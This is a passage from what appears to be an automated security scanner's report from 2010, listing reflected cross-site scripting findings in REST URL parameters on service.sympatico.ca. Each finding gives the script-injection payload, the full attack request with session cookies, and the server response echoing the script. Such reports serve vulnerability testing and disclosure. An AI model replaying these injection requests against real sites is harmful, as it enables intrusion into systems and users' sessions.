This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesd764f"><script>alert(1)</script>20686fff62c/buttons/bt_submit_medium.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:06 GMT
Connection: close
Set-Cookie: SMSESSION=gHStaoJhieq7j0DdzHnL+yenETqHgS8tCpskCjj6tgY4gKo9WSfuKOeBhFTGueBdE+J8BS6OFAqaEuEi8C+nrZC2wMSqQxy86y9tvMbfI1FxM3OYpNNqpqUndJWuCCOCXQdIApgj7OCirCjPeaAsF7SBNIawLFr2eGTsWW+HWqTeR6/Ck7gbnpJn9kifIYyVjbupKXtvalTZ96spUGxXsCMoteQ8VXKwblI1jfdLYlEEr12rb8a+R7LffRezvzS9j/kqrenJjy2Elrv29ZSK9E3XpwLwCj3MOyDG03AqhCjicaLdLPZTIQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesd764f"><script>alert(1)</script>20686fff62c/buttons/bt_submit_medium.gif" />
...[SNIP]...

2.121. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82713"><script>alert(1)</script>ae03620f5f4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons82713"><script>alert(1)</script>ae03620f5f4/bt_submit_medium.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:13 GMT
Connection: close
Set-Cookie: SMSESSION=5VS1n5CDRhkwbxT9cakKOm+FTUXd3U3JEUyBJlAilsOyc8FidrC1EJv87GTA9fgvUme4Iers0eGnxztcVhWU3p+F2VfBgPRvWIfqOuluRTC1r6qRYElkR4FausVq35MlF0LkQc55LbJp800JRWNBttVM8jBmVp1VyA+NpCinYt5u3fg4bCPhocAUNuUP23OqFswq14AGeCiQ+5AXIxdYNLMDSyAJeWncs9cbZarmib+ZLWPTWUftaGbqC8mURxZ0zaPD6Q5IAffLmeG83YHX40ikQ6f5qBMPkO8p9zLC0GzaR8Lp5S+Ygg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ce.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons82713"><script>alert(1)</script>ae03620f5f4/bt_submit_medium.gif" />
...[SNIP]...

2.122. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7082b"><script>alert(1)</script>c71ff5183b1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif7082b"><script>alert(1)</script>c71ff5183b1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:18 GMT
Connection: close
Set-Cookie: SMSESSION=/v0WRrTlg8JNkilIPuu9xPHAlbjU3BH06BP+veA0c0Vdr/60ENSyBXJbtXY+viR/SkNGjljGCcIQSyJ4cw4xYTKAdM6wQRdgzWykvSqyXBKCeOYlhvyAZZGSZT76Hd9x8DbvRMML6/5phGswp4kOG9J5dINm+GY3ikAD0bYupzQ6CFpwl2nLD9iyzRrlIMj1i1TChCsCBtAiFIBgARR4yOkXNWy1kyUeopf0EfBKojbOcR/heROB6LI0e2i30HBI8efrj2bdlWZZKbOpEn0VCmDeGDaZzIK4ZZPDoMNla6Uxri1J6NddAw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
